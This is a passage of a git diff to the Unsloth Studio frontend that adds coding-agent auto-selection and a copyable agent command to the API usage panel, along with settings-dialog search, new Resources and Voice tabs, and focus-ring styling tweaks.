+        setAgent(DEFAULT_AGENT);
+      }
+      return;
+    }
+
+    let cancelled = false;
+    void loadCodingAgents()
+      .then((info) => {
+        if (cancelled) return;
+        setAvailableAgents(info.agents);
+        setDetectedAgents(info.detected);
+      })
+      .catch(() => {
+        // Best-effort: keep the default agent list and let the user pick manually.
+      });
+    return () => {
+      cancelled = true;
+    };
+  }, [localAgentDetection]);
+
+  // Single source of truth for the auto-picked agent, re-derived whenever
+  // the detected list or the loaded model's GGUF-ness changes -- in either
+  // direction. `codex` needs a GGUF model (unsloth_cli's
+  // _require_gguf_for_codex exits otherwise), so it's only preferred once
+  // the loaded model actually qualifies; loading a GGUF model *after* a
+  // non-GGUF-gated fallback picked something else re-steers back to codex
+  // just as loading a non-GGUF model steers away from it. Never overrides a
+  // choice the user made by hand.
+  // activeGgufVariant alone only covers an HF-repo GGUF pick (a specific
+  // quant variant string) -- a direct local .gguf file (custom folder /
+  // LM Studio / drag-drop) is just as much a GGUF the codex preflight would
+  // accept, but never has a "variant" to report, and would otherwise read as
+  // non-GGUF here. activeNativePathToken covers the drag-drop/picked-file
+  // case; ggufContextLength is only ever populated when the backend's
+  // /api/inference/status last reported is_gguf: true for the active model
+  // (see applyActiveModelStatusToStore), so together these three cover every
+  // path a model can be GGUF through, matching the same is_gguf-or-equivalent
+  // check hasGgufSource applies to a staged pick.
+  const activeGgufVariant = useChatRuntimeStore((s) => s.activeGgufVariant);
+  const activeNativePathToken = useChatRuntimeStore((s) => s.activeNativePathToken);
+  const ggufContextLength = useChatRuntimeStore((s) => s.ggufContextLength);
+  useEffect(() => {
+    if (agentPickedByUserRef.current) return;
+    if (detectedAgents.length === 0) return;
+    const isGguf =
+      activeGgufVariant != null || activeNativePathToken != null || ggufContextLength != null;
+    const preferred = detectedAgents.find((a) => a !== "codex" || isGguf);
+    if (preferred) {
+      setAgent(preferred);
+    } else if (agent === "codex" && !isGguf) {
+      // codex was auto-picked while a GGUF model was active and it's the
+      // only detected agent; now that the model isn't GGUF anymore, nothing
+      // detected is actually runnable, so fall back to the default instead
+      // of leaving a codex command unsloth_cli will reject.
+      setAgent(DEFAULT_AGENT);
+    }
+  }, [agent, detectedAgents, activeGgufVariant, activeNativePathToken, ggufContextLength]);
+
   useEffect(() => {
     let cancelled = false;
     void loadOpenAIAutoSwitchSettings()
@@ -410,26 +589,27 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
   }, []);
 
   const model = useLoadedModelName();
-  // Real key while revealed (before "Done"); otherwise a placeholder.
   const key = apiKey || KEY_PLACEHOLDER;
-  // Toggle on + tunnel up: public tunnel URL. Off: backend direct host:port
-  // (origin is only a last-resort fallback).
-  const origin = typeof window !== "undefined" ? window.location.origin : "";
-  const base =
-    useTunnel && cloudflareUrl ? cloudflareUrl : (serverUrl ?? origin);
 
   const autoSwitchOn = autoSwitch?.enabled ?? false;
   const snippets = useMemo(
     () => buildSnippets(base, key, model, os, autoSwitchOn),
     [base, key, model, os, autoSwitchOn],
   );
+  // Agent command must target the server the panel shows, not the :8888 default.
+  const agentCommand = useMemo(
+    () => buildAgentCommand(base, key, os, agent),
+    [base, key, os, agent],
+  );
 
   const osAware = OS_AWARE[lang];
   const shikiLang = CURL_TYPES.has(lang)
     ? os === "windows"
       ? "powershell"
       : "bash"
-    : "python";
+    : JAVASCRIPT_TYPES.has(lang)
+      ? "javascript"
+      : "python";
 
   const handleCopy = async () => {
     if (await copyToClipboard(snippets[lang])) {
@@ -464,6 +644,13 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
     }
   };
 
+  const handleCopyAgent = async () => {
+    if (await copyToClipboard(agentCommand)) {
+      setCopiedAgent(true);
+      setTimeout(() => setCopiedAgent(false), 1800);
+    }
+  };
+
   return (
     <section className="flex min-w-0 max-w-full flex-col">
       <h2 className="mb-2 text-sm font-semibold text-foreground">
@@ -488,7 +675,7 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
               <TooltipTrigger asChild={true}>
                 <button
                   type="button"
-                  className="flex items-center rounded text-muted-foreground transition-colors hover:text-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
+                  className="flex items-center rounded text-muted-foreground transition-colors hover:text-foreground focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring"
                   aria-label={t(
                     "settings.general.modelAutoSwitch.enableDescription",
                   )}
@@ -524,7 +711,7 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
                   <TooltipTrigger asChild={true}>
                     <button
                       type="button"
-                      className="flex items-center rounded text-muted-foreground transition-colors hover:text-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
+                      className="flex items-center rounded text-muted-foreground transition-colors hover:text-foreground focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring"
                       aria-label={t("settings.apiKeys.secureHttpsHint")}
                     >
                       <HugeiconsIcon
@@ -539,13 +726,11 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
                 </Tooltip>
               )}
             </div>
-            {/* Always rendered (dimmed when off) so toggling never changes the
-                row height and shifts the code block below. */}
             <button
               type="button"
               onClick={handleCopyUrl}
               className={cn(
-                "flex min-w-0 items-center gap-1 rounded px-1.5 py-1 text-[11px] text-muted-foreground transition-colors hover:text-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring",
+                "flex min-w-0 items-center gap-1 rounded px-1.5 py-1 text-[11px] text-muted-foreground transition-colors hover:text-foreground focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring",
                 !useTunnel && "opacity-50",
               )}
               title={cloudflareUrl}
@@ -574,7 +759,7 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
                   onClick={() => setLang(tab.id)}
                   aria-pressed={active}
                   className={cn(
-                    "rounded-full px-2.5 py-1 text-[11px] font-medium transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring",
+                    "rounded-full px-2.5 py-1 text-[11px] font-medium transition-colors focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring",
                     active
                       ? "hub-tab-toggle-pill text-foreground"
                       : "text-muted-foreground hover:text-foreground",
@@ -593,7 +778,7 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
               onClick={() => setOs("unix")}
               aria-pressed={os === "unix"}
               className={cn(
-                "rounded-full px-2.5 py-1 text-[11px] font-medium transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring",
+                "rounded-full px-2.5 py-1 text-[11px] font-medium transition-colors focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring",
                 os === "unix"
                   ? "hub-tab-toggle-pill text-foreground"
                   : "text-muted-foreground hover:text-foreground",
@@ -606,7 +791,7 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
               onClick={() => setOs("windows")}
               aria-pressed={os === "windows"}
               className={cn(
-                "rounded-full px-2.5 py-1 text-[11px] font-medium transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring",
+                "rounded-full px-2.5 py-1 text-[11px] font-medium transition-colors focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring",
                 os === "windows"
                   ? "hub-tab-toggle-pill text-foreground"
                   : "text-muted-foreground hover:text-foreground",
@@ -620,7 +805,7 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
           <button
             type="button"
             onClick={handleCopy}
-            className="absolute right-2 top-2 z-10 flex items-center gap-1 rounded border border-border bg-background/80 px-1.5 py-1 text-[11px] text-muted-foreground backdrop-blur transition-colors hover:text-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
+            className="absolute right-2 top-2 z-10 flex items-center gap-1 rounded border border-border bg-background/80 px-1.5 py-1 text-[11px] text-muted-foreground backdrop-blur transition-colors hover:text-foreground focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring"
             aria-label={t("settings.apiKeys.copySnippet")}
           >
             <HugeiconsIcon
@@ -629,15 +814,81 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
             />
             {copied ? t("settings.apiKeys.copied") : t("settings.apiKeys.copy")}
           </button>
-          {/* key on the snippet so Streamdown remounts and re-highlights when
-              only a substring (e.g. the base URL) changes; its block memo
-              otherwise keeps the stale render. */}
           <HighlightedCode
             key={snippets[lang]}
             code={snippets[lang]}
             language={shikiLang}
           />
         </div>
+        <div className="flex min-w-0 flex-col gap-1.5 border-t border-border px-3 py-2.5">
+          <span className="text-[11px] font-semibold text-foreground">
+            {t("settings.apiKeys.codingAgents")}
+          </span>
+          <span className="text-[11px] leading-snug text-muted-foreground">
+            {t("settings.apiKeys.codingAgentsHint")}
+          </span>
+          <div className="flex min-w-0 flex-wrap items-center gap-1">
+            {availableAgents.map((id) => {
+              const installed = detectedAgents.includes(id);
+              const active = agent === id;
+              return (
+                <button
+                  key={id}
+                  type="button"
+                  onClick={() => {
+                    agentPickedByUserRef.current = true;
+                    setAgent(id);
+                  }}
+                  aria-pressed={active}
+                  title={
+                    installed
+                      ? t("settings.apiKeys.codingAgentDetected")
+                      : undefined
+                  }
+                  className={cn(
+                    "flex items-center gap-1 rounded-full px-2.5 py-1 text-[11px] font-medium transition-colors focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring",
+                    active
+                      ? "hub-tab-toggle-pill text-foreground"
+                      : "text-muted-foreground hover:text-foreground",
+                  )}
+                >
+                  {AGENT_LABELS[id] ?? id}
+                  {installed ? (
+                    <span
+                      aria-hidden="true"
+                      className="size-1.5 rounded-full bg-emerald-500"
+                    />
+                  ) : null}
+                </button>
+              );
+            })}
+          </div>
+          <div className="relative mt-0.5 min-w-0">
+            <code className="block min-w-0 overflow-x-auto rounded border border-border bg-muted/30 px-2 py-1.5 pr-14 font-mono text-[11px] text-foreground">
+              {agentCommand}
+            </code>
+            <button
+              type="button"
+              onClick={handleCopyAgent}
+              className="absolute right-1.5 top-1/2 flex -translate-y-1/2 items-center gap-1 rounded border border-border bg-background/80 px-1.5 py-0.5 text-[11px] text-muted-foreground backdrop-blur transition-colors hover:text-foreground focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring"
+              aria-label={t("settings.apiKeys.copySnippet")}
+            >
+              <HugeiconsIcon
+                icon={copiedAgent ? Tick02Icon : Copy01Icon}
+                className={cn("size-3.5", copiedAgent && "text-emerald-600")}
+              />
+            </button>
+          </div>
+          <span className="text-[11px] leading-snug text-muted-foreground">
+            {detectedAgents.length > 0
+              ? t("settings.apiKeys.codingAgentsDetectedHint", {
+                  agents: detectedAgents
+                    .map((id) => AGENT_LABELS[id] ?? id)
+                    .join(", "),
+                })
+              : t("settings.apiKeys.codingAgentsSwap")}
+          </span>
+        </div>
         <div className="flex flex-wrap items-center gap-x-2 gap-y-1 border-t border-border px-3 py-2 text-[11px] text-muted-foreground">
           <span>{t("settings.apiKeys.setupDocs")}</span>
           {DOC_LINKS.map((link) => (
@@ -646,7 +897,7 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) {
               href={link.href}
               target="_blank"
               rel="noreferrer"
-              className="inline-flex items-center gap-0.5 rounded font-medium text-foreground underline decoration-border underline-offset-2 transition-colors hover:decoration-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
+              className="inline-flex items-center gap-0.5 rounded font-medium text-foreground underline decoration-border underline-offset-2 transition-colors hover:decoration-foreground focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring"
             >
               {link.label}
               <HugeiconsIcon icon={ArrowUpRight01Icon} className="size-3" />
diff --git a/studio/frontend/src/features/settings/index.ts b/studio/frontend/src/features/settings/index.ts
index 364ca1611f..1e4d9d8844 100644
--- a/studio/frontend/src/features/settings/index.ts
+++ b/studio/frontend/src/features/settings/index.ts
@@ -6,7 +6,27 @@ export {
   loadPersonalization,
   savePersonalization,
 } from "./api/personalization";
-export { setTheme, useTheme } from "./stores/theme-store";
+export {
+  isPalette,
+  setPalette,
+  setTheme,
+  usePalette,
+  useTheme,
+} from "./stores/theme-store";
+export {
+  DEFAULT_CUSTOMIZATION,
+  applyCustomizationToDocument,
+  isDefaultCustomization,
+  prefersReducedMotion,
+  sanitizeCustomization,
+  useAppearanceCustomStore,
+} from "./stores/appearance-custom-store";
+export type {
+  AppearanceCustomization,
+  CustomModeColors,
+  ReduceMotionSetting,
+} from "./stores/appearance-custom-store";
+export { useMonitorOverlayStore } from "./stores/monitor-overlay-store";
 export type {
   Personalization,
   PersonalizationAppearance,
@@ -14,4 +34,4 @@ export type {
 } from "./api/personalization";
 export { useSettingsDialogStore } from "./stores/settings-dialog-store";
 export type { SettingsTab } from "./stores/settings-dialog-store";
-export type { ResolvedTheme, Theme } from "./stores/theme-store";
+export type { Palette, ResolvedTheme, Theme } from "./stores/theme-store";
diff --git a/studio/frontend/src/features/settings/settings-dialog.tsx b/studio/frontend/src/features/settings/settings-dialog.tsx
index 0ee0dd0a7c..08588be8fe 100644
--- a/studio/frontend/src/features/settings/settings-dialog.tsx
+++ b/studio/frontend/src/features/settings/settings-dialog.tsx
@@ -1,6 +1,7 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
+import { FloatingMonitor } from "@/components/floating-monitor";
 import {
   Dialog,
   DialogContent,
@@ -9,19 +10,30 @@ import {
 } from "@/components/ui/dialog";
 import { type TranslationKey, useT } from "@/i18n";
 import { cn } from "@/lib/utils";
+import { MicIcon } from "@/lib/mic-icon";
 import {
   Cancel01Icon,
   CloudIcon,
+  CpuIcon,
   Globe02Icon,
   HelpCircleIcon,
   Message01Icon,
   PaintBrush02Icon,
+  Search01Icon,
   Settings02Icon,
   UserIcon,
 } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
 import { motion, useReducedMotion } from "motion/react";
-import { useEffect, useRef } from "react";
+import {
+  type FC,
+  useDeferredValue,
+  useEffect,
+  useMemo,
+  useRef,
+  useState,
+} from "react";
+import { SETTINGS_SEARCH_INDEX } from "./settings-search";
 import {
   type SettingsTab,
   useSettingsDialogStore,
@@ -33,11 +45,15 @@ import { ChatTab } from "./tabs/chat-tab";
 import { ConnectionsTab } from "./tabs/connections-tab";
 import { GeneralTab } from "./tabs/general-tab";
 import { ProfileTab } from "./tabs/profile-tab";
+import { ResourcesTab } from "./tabs/resources-tab";
+import { VoiceTab } from "./tabs/voice-tab";
 
 interface TabDef {
   id: SettingsTab;
   labelKey: TranslationKey;
-  icon: typeof Settings02Icon;
+  icon?: typeof Settings02Icon;
+  /** Plain component icon, for icons shared with chat (not hugeicons). */
+  iconComponent?: FC<{ className?: string }>;
   badgeKey?: TranslationKey;
 }
 
@@ -49,6 +65,12 @@ const TABS: TabDef[] = [
     labelKey: "settings.tabs.appearance",
     icon: PaintBrush02Icon,
   },
+  {
+    id: "resources",
+    labelKey: "settings.tabs.resources",
+    icon: CpuIcon,
+    badgeKey: "common.new",
+  },
   {
     id: "chat",
     labelKey: "settings.tabs.chat",
@@ -64,6 +86,11 @@ const TABS: TabDef[] = [
     id: "connections",
     labelKey: "settings.tabs.connections",
     icon: CloudIcon,
+  },
+  {
+    id: "voice",
+    labelKey: "settings.tabs.voice",
+    iconComponent: MicIcon,
     badgeKey: "common.new",
   },
   { id: "about", labelKey: "settings.tabs.about", icon: HelpCircleIcon },
@@ -77,8 +104,12 @@ function renderTab(tab: SettingsTab) {
       return <ProfileTab />;
     case "appearance":
       return <AppearanceTab />;
+    case "resources":
+      return <ResourcesTab />;
     case "chat":
       return <ChatTab />;
+    case "voice":
+      return <VoiceTab />;
     case "connections":
       return <ConnectionsTab />;
     case "api-keys":
@@ -96,11 +127,88 @@ export function SettingsDialog() {
   const closeDialog = useSettingsDialogStore((s) => s.closeDialog);
   const opener = useSettingsDialogStore((s) => s.opener);
   const reduced = useReducedMotion();
+  // Mounting a heavy tab panel (System, Connections) in the same commit as
+  // the nav highlight makes the highlight lag the click. Render the panel
+  // from a deferred value so the nav updates first.
+  const panelTab = useDeferredValue(activeTab);
+  const [query, setQuery] = useState("");
+
+  const results = useMemo(() => {
+    const q = query.trim().toLowerCase();
+    if (!q) return null;
+    return TABS.map((tab) => {
+      const tabLabel = t(tab.labelKey);
+      const entries = SETTINGS_SEARCH_INDEX[tab.id]
+        .map((key) => t(key))
+        .filter((label) => label.toLowerCase().includes(q));
+      const deduped = [...new Set(entries)];
+      return {
+        tab,
+        tabLabel,
+        entries: deduped,
+        tabMatches: tabLabel.toLowerCase().includes(q),
+      };
+    }).filter((r) => r.tabMatches || r.entries.length > 0);
+  }, [query, t]);
+
+  const [pendingScroll, setPendingScroll] = useState<{
+    tab: SettingsTab;
+    entry: string;
+  } | null>(null);
+  const mainScrollRef = useRef<HTMLDivElement | null>(null);
+
+  const openResult = (tab: SettingsTab, entry?: string) => {
+    setActiveTab(tab);
+    setQuery("");
+    setPendingScroll(entry ? { tab, entry } : null);
+  };
+
+  // Scroll to the row/section a search result points at once the tab has
+  // rendered, and flash it so the eye lands on the right place. The tab panel
+  // renders deferred, so retry across frames until the row exists instead of
+  // racing a single fixed delay (which silently missed under render lag).
+  useEffect(() => {
+    if (!pendingScroll) return;
+    // Wait until the destination tab is mounted before matching, so a same-named
+    // row in the previous tab (for example "Storage") is not scrolled to instead.
+    if (panelTab !== pendingScroll.tab) return;
+    let frame = 0;
+    let tries = 0;
+    const attempt = () => {
+      const root = mainScrollRef.current;
+      const target = root
+        ? [
+            ...root.querySelectorAll<HTMLElement>("[data-settings-label]"),
+          ].find((el) => el.dataset.settingsLabel === pendingScroll.entry)
+        : undefined;
+      if (target) {
+        target.scrollIntoView({ behavior: "smooth", block: "center" });
+        target.classList.add("settings-search-hit");
+        window.setTimeout(
+          () => target.classList.remove("settings-search-hit"),
+          1600,
+        );
+        setPendingScroll(null);
+      } else if (tries++ < 30) {
+        frame = window.requestAnimationFrame(attempt);
+      } else {
+        setPendingScroll(null);
+      }
+    };
+    frame = window.requestAnimationFrame(attempt);
+    return () => window.cancelAnimationFrame(frame);
+  }, [pendingScroll, panelTab]);
+
+  useEffect(() => {
+    if (!open) setQuery("");
+  }, [open]);
   const tabButtonRefs = useRef<Record<SettingsTab, HTMLButtonElement | null>>({
     general: null,
     profile: null,
     appearance: null,
+    resources: null,
     chat: null,
+    voice: null,
     connections: null,
     "api-keys": null,
     about: null,
@@ -115,110 +223,203 @@ export function SettingsDialog() {
   }, [open, activeTab]);
 
   return (
-    <Dialog open={open} onOpenChange={(o) => !o && closeDialog()}>
-      <DialogContent
-        showCloseButton={false}
-        overlayClassName="bg-black/30 supports-backdrop-filter:backdrop-blur-[2px]"
-        onCloseAutoFocus={(e) => {
-          // Restore focus to the element that triggered openDialog(). Radix's
-          // FocusScope races our rAF-scheduled tab focus and loses the
-          // previous-focus reference, so restore it by hand.
-          if (opener && opener.isConnected) {
-            e.preventDefault();
-            opener.focus({ preventScroll: true });
-          }
-        }}
-        className={cn(
-          // Cap at 820px but shrink to the viewport so it doesn't clip on
-          // iPad-portrait widths (640-820px) where fixed `w-[820px]` overflows.
-          "settings-surface !max-w-[min(820px,calc(100vw-2rem))] h-[560px] w-[min(820px,calc(100vw-2rem))] p-0 overflow-hidden",
-          // Soft shadow, no outline ring. Pin --radius to the light value so
-          // corner rounding matches in dark mode.
-          "shadow-border rounded-xl ring-0 [--radius:1.1rem]",
-          "max-sm:h-dvh max-sm:w-dvw max-sm:!max-w-none max-sm:rounded-none",
-        )}
-      >
-        <DialogTitle className="sr-only">
-          {t("settings.dialog.title")}
-        </DialogTitle>
-        <DialogDescription className="sr-only">
-          {t("settings.dialog.description")}
-        </DialogDescription>
-        <div className="flex h-full min-h-0 max-sm:flex-col">
-          <aside className="font-heading flex w-[216px] shrink-0 flex-col border-r border-sidebar-border bg-muted/20 p-2 dark:border-r-0 max-sm:w-full max-sm:border-r-0 max-sm:border-b max-sm:border-sidebar-border">
-            <h2 className="pl-3 pr-2.5 pt-3.5 pb-3.5 text-[19px] font-semibold text-foreground max-sm:hidden">
-              {t("settings.dialog.title")}
-            </h2>
-            <nav className="flex flex-col gap-0.5 max-sm:flex-row max-sm:overflow-x-auto">
-              {TABS.map((tab) => {
-                const active = activeTab === tab.id;
-                return (
+    <>
+      <Dialog open={open} onOpenChange={(o) => !o && closeDialog()}>
+        <DialogContent
+          showCloseButton={false}
+          overlayClassName="bg-black/30 supports-backdrop-filter:backdrop-blur-[2px]"
+          onCloseAutoFocus={(e) => {
+            // Restore focus to the element that triggered openDialog(). Radix's
+            // FocusScope races our rAF-scheduled tab focus and loses the
+            // previous-focus reference, so restore it by hand.
+            if (opener && opener.isConnected) {
+              e.preventDefault();
+              opener.focus({ preventScroll: true });
+            }
+          }}
+          className={cn(
+            // Cap at 880px but shrink to the viewport so it doesn't clip on
+            // iPad-portrait widths where a fixed width overflows.
+            "settings-surface !max-w-[min(880px,calc(100vw-2rem))] h-[560px] w-[min(880px,calc(100vw-2rem))] p-0 overflow-hidden",
+            // Soft shadow, no outline ring. Pin --radius to the light value so
+            // corner rounding matches in dark mode.
+            "shadow-border rounded-xl ring-0 [--radius:1.1rem]",
+            "max-sm:h-dvh max-sm:w-dvw max-sm:!max-w-none max-sm:rounded-none",
+          )}
+        >
+          <DialogTitle className="sr-only">
+            {t("settings.dialog.title")}
+          </DialogTitle>
+          <DialogDescription className="sr-only">
+            {t("settings.dialog.description")}
+          </DialogDescription>
+          {/* Keep tab content from expanding the dialog grid. */}
+          <div className="flex h-full min-h-0 min-w-0 w-full max-sm:flex-col">
+            <aside className="font-heading flex w-[248px] shrink-0 flex-col border-r border-sidebar-border bg-muted/20 p-2 dark:border-r-0 max-sm:w-full max-sm:border-r-0 max-sm:border-b max-sm:border-sidebar-border">
+              <div className="relative mx-1 mt-3 mb-2 max-sm:hidden">
+                <HugeiconsIcon
+                  icon={Search01Icon}
+                  strokeWidth={2}
+                  className="pointer-events-none absolute top-1/2 left-2.5 size-4 -translate-y-1/2 text-muted-foreground"
+                />
+                <input
+                  value={query}
+                  onChange={(e) => setQuery(e.target.value)}
+                  onKeyDown={(e) => {
+                    if (e.key === "Escape" && query) {
+                      e.stopPropagation();
+                      setQuery("");
+                    }
+                  }}
+                  placeholder={t("settings.dialog.searchPlaceholder")}
+                  aria-label={t("settings.dialog.searchPlaceholder")}
+                  className="h-8 w-full rounded-full border border-border bg-background pr-8 pl-8 text-sm text-foreground outline-none transition-colors placeholder:text-muted-foreground focus-visible:border-ring dark:focus-visible:border-transparent dark:focus-visible:bg-white/[0.12] dark:border-transparent dark:bg-white/[0.06]"
+                />
+                {query && (
                   <button
-                    key={tab.id}
-                    ref={(node) => {
-                      tabButtonRefs.current[tab.id] = node;
-                    }}
                     type="button"
-                    onClick={() => setActiveTab(tab.id)}
-                    className={cn(
-                      "relative flex h-[32px] items-center gap-2.5 rounded-full pl-3 pr-2.5 text-[14.5px] leading-[19px] tracking-nav font-medium transition-colors",
-                      "max-sm:shrink-0",
-                      "focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-1 focus-visible:ring-offset-background",
-                      active
-                        ? "text-black dark:text-white"
-                        : "text-[#383835] dark:text-[#c7c7c4] hover:bg-[#ececec] dark:hover:bg-[#3a3d43] hover:text-black dark:hover:text-white",
-                    )}
+                    onClick={() => setQuery("")}
+                    aria-label={t("settings.dialog.closeAriaLabel")}
+                    className="absolute top-1/2 right-2 flex size-5 -translate-y-1/2 items-center justify-center rounded-full text-muted-foreground hover:text-foreground"
                   >
-                    {active && (
-                      <motion.span
-                        layoutId="settings-active-pill"
-                        className="absolute inset-0 rounded-full bg-[#ececec] dark:bg-[#3a3d43]"
-                        transition={
-                          reduced
-                            ? { duration: 0 }
-                            : {
-                                type: "spring",
-                                stiffness: 500,
-                                damping: 35,
-                                mass: 0.5,
-                              }
-                        }
-                      />
-                    )}
-                    <HugeiconsIcon
-                      icon={tab.icon}
-                      strokeWidth={1.75}
-                      className="relative z-10 size-icon"
-                    />
-                    <span className="relative z-10 min-w-0 truncate">
-                      {t(tab.labelKey)}
-                    </span>
-                    {tab.badgeKey ? (
-                      <span className="relative z-10 ml-auto rounded-full bg-emerald-500/10 px-2 py-1 text-[10px] leading-none font-semibold text-emerald-700 dark:text-emerald-300">
-                        {t(tab.badgeKey)}
-                      </span>
-                    ) : null}
+                    <HugeiconsIcon icon={Cancel01Icon} className="size-3.5" />
                   </button>
-                );
-              })}
-            </nav>
-          </aside>
+                )}
+              </div>
+              {results ? (
+                <div className="hover-scrollbar flex min-h-0 flex-1 flex-col gap-1 overflow-y-auto px-1 pb-1 max-sm:hidden">
+                  {results.length === 0 ? (
+                    <p className="px-3 py-2 text-sm text-muted-foreground">
+                      {t("settings.dialog.searchNoResults")}
+                    </p>
+                  ) : (
+                    results.map(({ tab, tabLabel, entries }) => (
+                      <div key={tab.id} className="flex flex-col">
+                        <button
+                          type="button"
+                          onClick={() => openResult(tab.id)}
+                          className="flex h-[30px] items-center gap-2.5 rounded-full pl-3 pr-2.5 text-[13.5px] font-medium text-muted-foreground transition-colors hover:bg-accent hover:text-accent-foreground"
+                        >
+                          {tab.iconComponent ? (
+                            <tab.iconComponent className="size-icon shrink-0" />
+                          ) : tab.icon ? (
+                            <HugeiconsIcon
+                              icon={tab.icon}
+                              strokeWidth={1.75}
+                              className="size-icon shrink-0"
+                            />
+                          ) : null}
+                          <span className="min-w-0 truncate">{tabLabel}</span>
+                        </button>
+                        {entries.map((entry) => (
+                          <button
+                            key={entry}
+                            type="button"
+                            onClick={() => openResult(tab.id, entry)}
+                            className="flex h-[30px] items-center rounded-full pl-10 pr-2.5 text-left text-[14px] text-foreground transition-colors hover:bg-accent hover:text-accent-foreground"
+                          >
+                            <span className="min-w-0 truncate">{entry}</span>
+                          </button>
+                        ))}
+                      </div>
+                    ))
+                  )}
+                </div>
+              ) : null}
+              <p
+                className={cn(
+                  "pl-4 pt-3 pb-2.5 text-[13px] font-medium text-muted-foreground max-sm:hidden",
+                  results !== null && "hidden",
+                )}
+              >
+                {t("settings.dialog.title")}
+              </p>
+              <nav
+                className={cn(
+                  "flex flex-col gap-0.5 px-1 max-sm:flex-row max-sm:overflow-x-auto",
+                  results !== null && "max-sm:flex hidden",
+                )}
+              >
+                {TABS.map((tab) => {
+                  const active = activeTab === tab.id;
+                  return (
+                    <button
+                      key={tab.id}
+                      ref={(node) => {
+                        tabButtonRefs.current[tab.id] = node;
+                      }}
+                      type="button"
+                      onClick={() => setActiveTab(tab.id)}
+                      className={cn(
+                        "relative flex h-[32px] items-center gap-2.5 rounded-full pl-3 pr-2.5 text-[14.5px] leading-[19px] tracking-nav font-medium transition-colors",
+                        "max-sm:shrink-0",
+                        "focus-visible:outline-none",
+                        // The active pill already marks the current tab, so
+                        // only unselected items get a keyboard focus ring.
+                        active
+                          ? "text-accent-foreground"
+                          : "text-[#383835] dark:text-[#c7c7c4] hover:bg-accent hover:text-accent-foreground focus-visible:ring-1 focus-visible:ring-ring",
+                      )}
+                    >
+                      {active && (
+                        <motion.span
+                          layoutId="settings-active-pill"
+                          className="absolute inset-0 rounded-full bg-accent"
+                          transition={
+                            reduced
+                              ? { duration: 0 }
+                              : {
+                                  type: "spring",
+                                  stiffness: 500,
+                                  damping: 35,
+                                  mass: 0.5,
+                                }
+                          }
+                        />
+                      )}
+                      {tab.iconComponent ? (
+                        <tab.iconComponent className="relative z-10 size-icon" />
+                      ) : tab.icon ? (
+                        <HugeiconsIcon
+                          icon={tab.icon}
+                          strokeWidth={1.75}
+                          className="relative z-10 size-icon"
+                        />
+                      ) : null}
+                      <span className="relative z-10 min-w-0 truncate">
+                        {t(tab.labelKey)}
+                      </span>
+                      {tab.badgeKey ? (
+                        <span className="relative z-10 ml-auto rounded-full bg-control-accent/10 px-2 py-1 text-[10px] leading-none font-semibold text-control-accent">
+                          {t(tab.badgeKey)}
+                        </span>
+                      ) : null}
+                    </button>
+                  );
+                })}
+              </nav>
+            </aside>
 
-          <main className="relative flex min-h-0 min-w-0 flex-1 flex-col">
-            <button
-              type="button"
-              onClick={closeDialog}
-              className="absolute top-3 right-3 z-10 flex size-7 items-center justify-center rounded-full text-[#383835] dark:text-[#c7c7c4] transition-colors hover:bg-[#ececec] dark:hover:bg-[#3a3d43] hover:text-black dark:hover:text-white focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
-              aria-label={t("settings.dialog.closeAriaLabel")}
-            >
-              <HugeiconsIcon icon={Cancel01Icon} className="size-4" />
-            </button>
-            <div className="hover-scrollbar flex min-h-0 min-w-0 flex-1 flex-col overflow-y-auto p-6 [scrollbar-gutter:stable]">
-              {renderTab(activeTab)}
-            </div>
-          </main>
-        </div>
-      </DialogContent>
-    </Dialog>
+            <main className="relative flex min-h-0 min-w-0 flex-1 flex-col">
+              <button
+                type="button"
+                onClick={closeDialog}
+                className="absolute top-3 right-3 z-10 flex size-7 items-center justify-center rounded-full text-[#383835] dark:text-[#c7c7c4] transition-colors hover:bg-accent hover:text-accent-foreground focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring"
+                aria-label={t("settings.dialog.closeAriaLabel")}
+              >
+                <HugeiconsIcon icon={Cancel01Icon} className="size-4" />
+              </button>
+              <div
+                ref={mainScrollRef}
+                className="hover-scrollbar flex min-h-0 min-w-0 flex-1 flex-col overflow-y-auto p-6 [scrollbar-gutter:stable]"
+              >
+                {renderTab(panelTab)}
+              </div>
+            </main>
+          </div>
+        </DialogContent>
+      </Dialog>
+      <FloatingMonitor />
+    </>
   );
 }
diff --git a/studio/frontend/src/features/settings/settings-search.ts b/studio/frontend/src/features/settings/settings-search.ts
new file mode 100644
index 0000000000..786ee11d0a
--- /dev/null
